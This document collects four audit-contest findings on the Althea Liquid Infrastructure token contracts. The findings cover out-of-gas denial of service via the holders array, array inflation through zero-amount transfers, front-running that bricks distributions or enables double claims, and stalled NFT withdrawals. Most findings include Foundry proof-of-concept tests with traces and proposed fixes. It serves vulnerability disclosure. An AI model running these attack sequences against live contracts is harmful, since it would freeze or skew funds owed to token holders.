Althea Liquid Infrastructure - nuthan2x's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L164-L179

Vulnerability details

Impact

• The _beforeTokenTransfer block pushes zero address into holders array, so each time there is a burn, the zero address is pushed into holders array, increasing its size.
• The root of cause is if protocol gets bigger like friend tech instantly, the amount of holders will increase and its not possible to spend gas to cover all the loop of holders array. And the token trasnfer/mint/burn rely on _afterTokenTransfer which loops all the holders.
• The transfer function's hook _afterTokenTransfer is overridden and is checked to remove the holders that do not hold any balance.
• The distribute/withdrawFromNft actions has a option to distribute or withdraw with arbitrary index lengths, because those actions loop over the holders array and it may run out of gas and revert. But in transfer function there's no option to input limited indexes, so it may throw OOG revert. And it is implemented to remove the holders with zero balance.
• So, transfer actions might be bricked.

function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        bool stillHolding = (this.balanceOf(from) != 0);
        if (!stillHolding) {
            for (uint i = 0; i < holders.length; i++) {
                if (holders[i] == from) {
                    // Remove the element at i by copying the last one into its place and removing the last element
                    holders[i] = holders[holders.length - 1];
                    holders.pop();
                }
            }
        }
    }

Proof of Concept

NA

Tools Used

Manual review + foundry testing

Recommended Mitigation Steps

• Modify the _afterTokenTransfer to not remove zero balance holders, or have a separate function to remove them. -Or else change the way storage is defined into mapping (address => uint index), 'index' represents its position in the holders array.

function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
-       bool stillHolding = (this.balanceOf(from) != 0);
-       if (!stillHolding) {
-           for (uint i = 0; i < holders.length; i++) {
-               if (holders[i] == from) {
-                   // Remove the element at i by copying the last one into its place and removing the last element
-                   holders[i] = holders[holders.length - 1];
-                   holders.pop();
-               }
-           }
        }
    }

+   function removeZeroHolders() public  {
+       require(!_isPastMinDistributionPeriod(), "only just after distribution");
+       for (uint i = 0; i < holders.length; i++) {
+           if (this.balanceOf(holders[i])  == 0) {
+               // Remove the element at i by copying the last one into its place and removing the last element
+               holders[i] = holders[holders.length - 1];
+               holders.pop();
+           }
+       }
+   }

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127-L146

Vulnerability details

Impact

The impact will be due to due to huge holders array,

1. making it impossible to distribute, transfer tokens, mint or burn. Becasue these actions loop through all the holders array and it will revert with Out of Gas panic reverts.
2. Also holder array can be filled with some duplicate holder, so he can claim all the rewards.

Code from LiquidInfrastructureERC20::_beforeTokenTransfer

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        require(!LockedForDistribution, "distribution in progress");
        if (!(to == address(0))) {
            require(
                isApprovedHolder(to),
                "receiver not approved to hold the token"
            );
        }
        if (from == address(0) || to == address(0)) {
            _beforeMintOrBurn();
        }

@--->   bool exists = (this.balanceOf(to) != 0); 
        if (!exists) {
@--->       holders.push(to); 
        }
    }

The LiquidInfrastructureERC20::_beforeTokenTransfer pushes the holder address into holders array if the to address doesn't have a balance. So some atatcker can with zero tokens and is also not an approved holder, hec an transfer zero tokens to some approved holder with zero token balance. And he can repeatedly make zero transfers which will again push the same to address into holders array. So, in this way, holders array can be made huge and can cause any action that is involving holders array will make OOG revert.

To make this attack possible, the approved holder should have zero token balance. When the admin/owner approves an holder, but did not mint yet, so that holder will have 0 balance. Also, after minting that holder can transfer all tokens to another holder or can burn all, sop now again 0 balance approved holder. This holder can be chosen as to addresss and an attacker can make zero transfers.

Proof of Concept

• Logs of POC : you can see 4 zero transfers of the token to the same address(2), and the length jumped from 1 to 5.

[PASS] test_POC() (gas: 7585369)
Logs:
  holders length BEFORE 1
  holders length AFTER 5

 ├─ [317] LiquidInfrastructureERC20::holdersLength() [staticcall]
    │   └─ ← 1
    ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000015686f6c64657273206c656e677468204245464f52450000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [33508] LiquidInfrastructureERC20::transfer(0x0000000000000000000000000000000000000002, 0)
    │   ├─ [2613] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall]
    │   │   └─ ← 0
    │   ├─ emit Transfer(from: AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x0000000000000000000000000000000000000002, value: 0)
    │   ├─ [613] LiquidInfrastructureERC20::balanceOf(AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    │   │   └─ ← 0
    │   └─ ← true
    ├─ [30073] LiquidInfrastructureERC20::transfer(0x0000000000000000000000000000000000000002, 0)
    │   ├─ [613] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall]
    │   │   └─ ← 0
    │   ├─ emit Transfer(from: AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x0000000000000000000000000000000000000002, value: 0)
    │   ├─ [613] LiquidInfrastructureERC20::balanceOf(AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    │   │   └─ ← 0
    │   └─ ← true
    ├─ [30638] LiquidInfrastructureERC20::transfer(0x0000000000000000000000000000000000000002, 0)
    │   ├─ [613] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall]
    │   │   └─ ← 0
    │   ├─ emit Transfer(from: AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x0000000000000000000000000000000000000002, value: 0)
    │   ├─ [613] LiquidInfrastructureERC20::balanceOf(AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    │   │   └─ ← 0
    │   └─ ← true
    ├─ [31203] LiquidInfrastructureERC20::transfer(0x0000000000000000000000000000000000000002, 0)
    │   ├─ [613] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall]
    │   │   └─ ← 0
    │   ├─ emit Transfer(from: AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x0000000000000000000000000000000000000002, value: 0)
    │   ├─ [613] LiquidInfrastructureERC20::balanceOf(AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    │   │   └─ ← 0
    │   └─ ← true
    ├─ [317] LiquidInfrastructureERC20::holdersLength() [staticcall]
    │   └─ ← 5

• First run forge init --force then run forge i openzeppelin/openzeppelin-contracts@v4.3.1 and modify foundry.toml file into below

[profile.default]
- src = "contracts"
+ src = "src"
out = "out"
libs = ["lib"]

• Add the below code into contracts/LiquidInfrastructureERC20.sol

    function holdersLength() public view returns(uint){
        return holders.length;
    }

• Then copy the below POC into test/Test.t.sol and run forge t --mt test_POC -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;

import  "forge-std/Test.sol";
import {LiquidInfrastructureERC20} from "../contracts/LiquidInfrastructureERC20.sol";
import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";


contract AltheaTest is Test {
    function setUp() public {}

    function test_POC() public {
        // setup
        LiquidInfrastructureNFT nft1 = new LiquidInfrastructureNFT("LP1");
        LiquidInfrastructureNFT nft2 = new LiquidInfrastructureNFT("LP2");
        address[] memory newErc20s = new address[](2);
        uint256[] memory newAmounts = new uint[](2);
        
        MockERC DAI = new MockERC("DAI", "DAI", 18);
        MockERC USDC = new MockERC("USDC", "USDC", 6);

        string memory _name = "LP";
        string memory _symbol = "LP";
        uint256 _minDistributionPeriod = 5;

        address[] memory _managedNFTs = new address[](2);
        address[] memory _approvedHolders = new address[](2);
        address[] memory _distributableErc20s = new address[](2);

        _managedNFTs[0] = address(nft1);
        _managedNFTs[1] = address(nft2);
        _approvedHolders[0] = address(1);
        _approvedHolders[1] = address(2);
        _distributableErc20s[0] = address(DAI);
        _distributableErc20s[1] = address(USDC);

        newErc20s[0] = address(DAI);
        newErc20s[1] = address(USDC);
        nft1.setThresholds(newErc20s, newAmounts);
        nft2.setThresholds(newErc20s, newAmounts);

        LiquidInfrastructureERC20 erc = new  LiquidInfrastructureERC20(
            _name, _symbol, _managedNFTs, _approvedHolders, _minDistributionPeriod, _distributableErc20s);

        erc.mint(address(1), 1000e18);


        deal(address(DAI), address(erc), 100e18);
        deal(address(USDC), address(erc), 100e6);
        vm.roll(block.number + 100);

        
        console.log("holders length BEFORE", erc.holdersLength()); 
        // add a holders call length public function for POC to work

        erc.transfer(address(2), 0);
        erc.transfer(address(2), 0);
        erc.transfer(address(2), 0);
        erc.transfer(address(2), 0);

        console.log("holders length AFTER", erc.holdersLength()); 

    }

}


contract MockERC is ERC20 {
    uint8 immutable  DECIMALS;

    constructor(string memory name, string memory symbol, uint8 _decimals) ERC20(name, symbol) {
        DECIMALS = _decimals;
    }

    function decimals() public view virtual override returns (uint8) {
        return DECIMALS;
    }
}

Tools Used

Manual review + foundry testing

Recommended Mitigation Steps

Modify LiquidInfrastructureERC20::_beforeTokenTransfer to add an holder into array only if transfer amount is > 0. Or just block zero transfers.

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        require(!LockedForDistribution, "distribution in progress");
        if (!(to == address(0))) {
            require(
                isApprovedHolder(to),
                "receiver not approved to hold the token"
            );
        }
        if (from == address(0) || to == address(0)) {
            _beforeMintOrBurn();
        }
        bool exists = (this.balanceOf(to) != 0); 
-       if (!exists) {
+       if (!exists && amount > 0) {
            holders.push(to); 
        }
    }

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L441 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L222

Vulnerability details

Impact

Double claim, DOS by bricking distribution, few holders can lose some rewards due to missing validation of distribution timing when owner calling LiquidInfrastructureERC20::setDistributableERC20s.

    function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
        distributableERC20s = _distributableERC20s;
    }

This issue will be impact on following ways :

when a new token is accepted by any nft it should be added as a desirable token, or a new managerNFT with a new token, then also LiquidInfrastructureERC20::setDistributableERC20s  has to be called to distribute the rewards. so when owner calls LiquidInfrastructureERC20::setDistributableERC20s which adds a new token as desired token,

1. Bricking distrubution to holders: Check the POC for proof      when a new token is added, we can expect revert when     - the number of desirable tokens length array is increased     - an attacker can frontrun and distribute to only one holder , so erc20EntitlementPerUnit is now  changed     - Now the actual owner tx is processed, which increases/decreases the size of distributableERC20s array.     - But now distribution is not possible because the Out of Bound revert on the distribution function because distributableERC20s array is changed, but erc20EntitlementPerUnit array size is same before the distributableERC20s array is modified.

            for (uint j = 0; j < distributableERC20s.length; j++) {
                uint256 entitlement = erc20EntitlementPerUnit[j] *  this.balanceOf(recipient);
                if (IERC20(distributableERC20s[j]).transfer(recipient, entitlement)) {
                    receipts[j] = entitlement;
                }
            }

   

2. Double claim by a holder:  so some holder can DOS by     - A last holder of the 10 holders array frontrun  this owner tx (setDistributableERC20s) and calls LiquidInfrastructureERC20::distribute with 90% of the holders count as params, so all the rewards of old desirable tokens will be distributed to 9 holders.     - Now after the owners action, backrun it to distribute to the last holder, which will also receive new token as rewards.     - The previous holders can also claim their share in the next distribution round, but the last holder also can claim which makes double claim possible, which takes a cut from all other holders.

3. if owner calls LiquidInfrastructureERC20::setDistributableERC20s which removes some token, then any token balance in the contract will be lost until the owner re-adds the token, and it can be distributed again.

• All the issues can be countered if the LiquidInfrastructureERC20::setDistributableERC20s is validated to make changes happen only after any potential distributions

Proof of Concept

• The logs of the POC shows the revert Index out of bounds

    ├─ [24677] LiquidInfrastructureERC20::distribute(1)
    │   ├─ [624] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall]
    │   │   └─ ← 100000000000000000000 [1e20]
    │   ├─ [20123] ERC20::transfer(0x0000000000000000000000000000000000000002, 500000000000000000000 [5e20])
    │   │   ├─ emit Transfer(from: LiquidInfrastructureERC20: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], to: 0x0000000000000000000000000000000000000002, value: 500000000000000000000 [5e20])
    │   │   └─ ← true
    │   ├─ [624] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall]
    │   │   └─ ← 100000000000000000000 [1e20]
    │   └─ ← "Index out of bounds"
    └─ ← "Index out of bounds"

• First run forge init --force then run forge i openzeppelin/openzeppelin-contracts@v4.3.1 and modify foundry.toml file into below

[profile.default]
- src = "contracts"
+ src = "src"
out = "out"
libs = ["lib"]

• Then copy the below POC into test/Test.t.sol and run forge t --mt test_POC -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;


import {Test, console2} from "forge-std/Test.sol";
import {LiquidInfrastructureERC20} from "../contracts/LiquidInfrastructureERC20.sol";
import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";


contract AltheaTest is Test {
    function setUp() public {}


    function test_POC() public {
        // setup
        LiquidInfrastructureNFT nft = new LiquidInfrastructureNFT("LP");
        address[] memory newErc20s = new address[](1);
        uint256[] memory newAmounts = new uint[](1);
       
        ERC20 DAI = new ERC20("DAI", "DAI");
        ERC20 USDC = new ERC20("USDC", "USDC");


        string memory _name = "LP";
        string memory _symbol = "LP";
        uint256 _minDistributionPeriod = 5;
        address[] memory _managedNFTs = new address[](1);
        address[] memory _approvedHolders = new address[](2);
        address[] memory _distributableErc20s = new address[](1);


        _managedNFTs[0] = address(nft);
        _approvedHolders[0] = address(1);
        _approvedHolders[1] = address(2);
        _distributableErc20s[0] = address(DAI);


        newErc20s[0] = address(DAI);
        nft.setThresholds(newErc20s, newAmounts);
        LiquidInfrastructureERC20 erc = new  LiquidInfrastructureERC20(
            _name, _symbol, _managedNFTs, _approvedHolders, _minDistributionPeriod, _distributableErc20s);
        erc.mint(address(1), 100e18);
        erc.mint(address(2), 100e18);


        // issue ==  change in desirable erc20s
        _distributableErc20s = new address[](2);
        _distributableErc20s[0] = address(DAI);
        _distributableErc20s[1] = address(USDC);
        newAmounts = new uint[](2);
        newErc20s = new address[](2);
        newErc20s[0] = address(DAI);
        newErc20s[1] = address(USDC);
        nft.setThresholds(newErc20s, newAmounts);


        deal(address(DAI), address(erc), 1000e18);
        deal(address(USDC), address(erc), 1000e18);
        vm.roll(block.number + 100);


        // frontrun tx
        erc.distribute(1);


        // victim tx
        erc.setDistributableERC20s(_distributableErc20s);


        // backrun tx
        vm.roll(block.number + _minDistributionPeriod);
        vm.expectRevert(); // Index out of bounds
        erc.distribute(1);
    }


}

Tools Used

Manual review + foundry testing

Recommended Mitigation Steps

Modify LiquidInfrastructureERC20::setDistributableERC20s to only change the desirable tokens after a potential distribution for fair reward sharing.

    function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
+       require(!_isPastMinDistributionPeriod(), "set only just after distribution");
        distributableERC20s = _distributableERC20s;
    }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L413 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L359

Vulnerability details

Impact

The impact of this issue is, the last nft's tokens cannot be withdrawn into LiquidInfrastructureERC20 during current transaction, and someone have to make another transaction to withdraw tokens from left out nfts managed The worst outcome is the withdrawals from managed nfts can be temporarily bricked, if owner decides to release more than 1 nfts.

    function withdrawFromManagedNFTs(uint256 numWithdrawals) public {
        require(!LockedForDistribution, "cannot withdraw during distribution");

        ------------------------------ skimmed -------------------------------
        nextWithdrawal = i;

@--->   if (nextWithdrawal == ManagedNFTs.length) {
            nextWithdrawal = 0;
            emit WithdrawalFinished();
        }
    }

Attack scenario lets assume there are 4 nfts managed

1. owner of LiquidInfrastructureERC20 contract decides to release first nft by calling LiquidInfrastructureERC20::releaseManagedNFT
2. an attacker frontruns the owner's tx by calling LiquidInfrastructureERC20::withdrawFromManagedNFTs with 1 as input params, and first nft's tokens are withdrawn into LiquidInfrastructureERC20
3. Now owner's release txxx is processed, and the atatcker backruns with again [LiquidInfrastructureERC20::withdrawFromManagedNFTs] with 100, and it withdraws from 2nd and 3rd nft but withdraw will be ended before withdrawing from 4th (last) nft.
4. So someone again have to call LiquidInfrastructureERC20::withdrawFromManagedNFTs to withdraw from all nfts. This is simple low severity DOS.
5. But it becomes high, if owner decides to release 2 nfts (1st and 2nd), so attacker frontruns and withdraw from 3 nfts, and then owner's tx processes which will reduce the managed nfts length to 2 from 4, but already tokens from 3 nfts have been withdrawn. so the line if (nextWithdrawal == ManagedNFTs.length) will not pass (look at the code snippet above), which wont end the withdrawal, no matter what you do, except we have to wait until owner adds further nfts to manage. This is a high severe prolonged temporary DOS.

This can be countered by adding validation to check if all nfts are withdrawn before releasing nfts, i.e to check if withdraw next index == 0.

Proof of Concept

• logs of POC

[PASS] test_POC() (gas: 8750947)
Logs:
  --------  before first withdrawFromManagedNFTs is done --------

  USDC.balanceOf(address(nft1)):  before 100000000000000000000
  USDC.balanceOf(address(nft2)):  before 100000000000000000000
  USDC.balanceOf(address(nft3)):  before 100000000000000000000

  --------  after first withdrawFromManagedNFTs is done --------

  USDC.balanceOf(address(nft1)):  before 0
  USDC.balanceOf(address(nft2)):  before 100000000000000000000
  USDC.balanceOf(address(nft3)):  before 100000000000000000000

  --------  after removal of nft1 & all withdrawFromManagedNFTs is done --------

  USDC.balanceOf(address(nft1)):  after 0
  USDC.balanceOf(address(nft2)):  after 0
  USDC.balanceOf(address(nft3)):  after 100000000000000000000

• First run forge init --force then run forge i openzeppelin/openzeppelin-contracts@v4.3.1 and modify foundry.toml file into below

[profile.default]
- src = "contracts"
+ src = "src"
out = "out"
libs = ["lib"]

• Then copy the below POC into test/Test.t.sol and run forge t --mt test_POC -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;

import "forge-std/Test.sol";
import {LiquidInfrastructureERC20} from "../contracts/LiquidInfrastructureERC20.sol";
import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";


contract AltheaTest is Test {
    function setUp() public {}

    function test_POC() public {
        // setup
        LiquidInfrastructureNFT nft1 = new LiquidInfrastructureNFT("LP1");
        LiquidInfrastructureNFT nft2 = new LiquidInfrastructureNFT("LP2");
        LiquidInfrastructureNFT nft3 = new LiquidInfrastructureNFT("LP3");
        address[] memory newErc20s = new address[](1);
        uint256[] memory newAmounts = new uint[](1);
        
        MockERC USDC = new MockERC("USDC", "USDC", 6);

        uint256 _minDistributionPeriod = 5;

        address[] memory _managedNFTs = new address[](3);
        address[] memory _approvedHolders = new address[](2);
        address[] memory _distributableErc20s = new address[](1);

        _managedNFTs[0] = address(nft1);
        _managedNFTs[1] = address(nft2);
        _managedNFTs[2] = address(nft3);
        _approvedHolders[0] = address(1);
        _approvedHolders[1] = address(2);
        _distributableErc20s[0] = address(USDC);

        newErc20s[0] = address(USDC);
        nft1.setThresholds(newErc20s, newAmounts);
        nft2.setThresholds(newErc20s, newAmounts);
        nft3.setThresholds(newErc20s, newAmounts);

        LiquidInfrastructureERC20 erc = new  LiquidInfrastructureERC20(
            "LP", "LP", _managedNFTs, _approvedHolders, _minDistributionPeriod, _distributableErc20s);

        erc.mint(address(1), 1000e18);
        erc.mint(address(2), 1000e18);

        deal(address(USDC), address(nft1), 100e18);
        deal(address(USDC), address(nft2), 100e18);
        deal(address(USDC), address(nft3), 100e18);
        vm.roll(block.number + 100);

        nft1.transferFrom(address(this), address(erc), 1);
        nft2.transferFrom(address(this), address(erc), 1);
        nft3.transferFrom(address(this), address(erc), 1);

        vm.label(address(nft1), "nft-1");
        vm.label(address(nft2), "nft-2");
        vm.label(address(nft3), "nft-3");

        console.log('--------  before first withdrawFromManagedNFTs is done --------');
        console.log('USDC.balanceOf(address(nft1)):  before', USDC.balanceOf(address(nft1)));
        console.log('USDC.balanceOf(address(nft2)):  before', USDC.balanceOf(address(nft2)));
        console.log('USDC.balanceOf(address(nft3)):  before', USDC.balanceOf(address(nft3)));

        // frontrun tx
        erc.withdrawFromManagedNFTs(1);
        console.log('--------  after first withdrawFromManagedNFTs is done --------');
        console.log('USDC.balanceOf(address(nft1)):  before', USDC.balanceOf(address(nft1)));
        console.log('USDC.balanceOf(address(nft2)):  before', USDC.balanceOf(address(nft2)));
        console.log('USDC.balanceOf(address(nft3)):  before', USDC.balanceOf(address(nft3)));

        // victim tx
        erc.releaseManagedNFT(address(nft1), address(this));

        // DOS tx
        erc.withdrawFromManagedNFTs(100);

        assertEq(USDC.balanceOf(address(nft1)), 0);
        assertEq(USDC.balanceOf(address(nft2)), 0);
        assertEq(USDC.balanceOf(address(nft3)), 100e18);

        console.log('--------  after removal of nft1 & all withdrawFromManagedNFTs is done --------');
        console.log('USDC.balanceOf(address(nft1)):  after', USDC.balanceOf(address(nft1)));
        console.log('USDC.balanceOf(address(nft2)):  after', USDC.balanceOf(address(nft2)));
        console.log('USDC.balanceOf(address(nft3)):  after', USDC.balanceOf(address(nft3)));

    }

}


contract MockERC is ERC20 {
    uint8 immutable  DECIMALS;

    constructor(string memory name, string memory symbol, uint8 _decimals) ERC20(name, symbol) {
        DECIMALS = _decimals;
    }

    function decimals() public view virtual override returns (uint8) {
        return DECIMALS;
    }
}

Tools Used

Manual review + foundry testing

Recommended Mitigation Steps

Modify LiquidInfrastructureERC20::releaseManagedNFT to release only if nextWithdrawal == 0 validating if tokens from all the managed nfts are withdrawn.

        function releaseManagedNFT(
        address nftContract,
        address to
    ) public onlyOwner nonReentrant {
+       require(nextWithdrawal == 0, "pending withdrawals");
        LiquidInfrastructureNFT nft = LiquidInfrastructureNFT(nftContract);
        nft.transferFrom(address(this), to, nft.AccountId());

        // Remove the released NFT from the collection
        for (uint i = 0; i < ManagedNFTs.length; i++) {
            address managed = ManagedNFTs[i];
            if (managed == nftContract) {
                // Delete by copying in the last element and then pop the end
                ManagedNFTs[i] = ManagedNFTs[ManagedNFTs.length - 1];
                ManagedNFTs.pop();
                break;
            }
        }
        // By this point the NFT should have been found and removed from ManagedNFTs
        require(true, "unable to find released NFT in ManagedNFTs");

        emit ReleaseManagedNFT(nftContract, to);
    }

Assessed type

DoS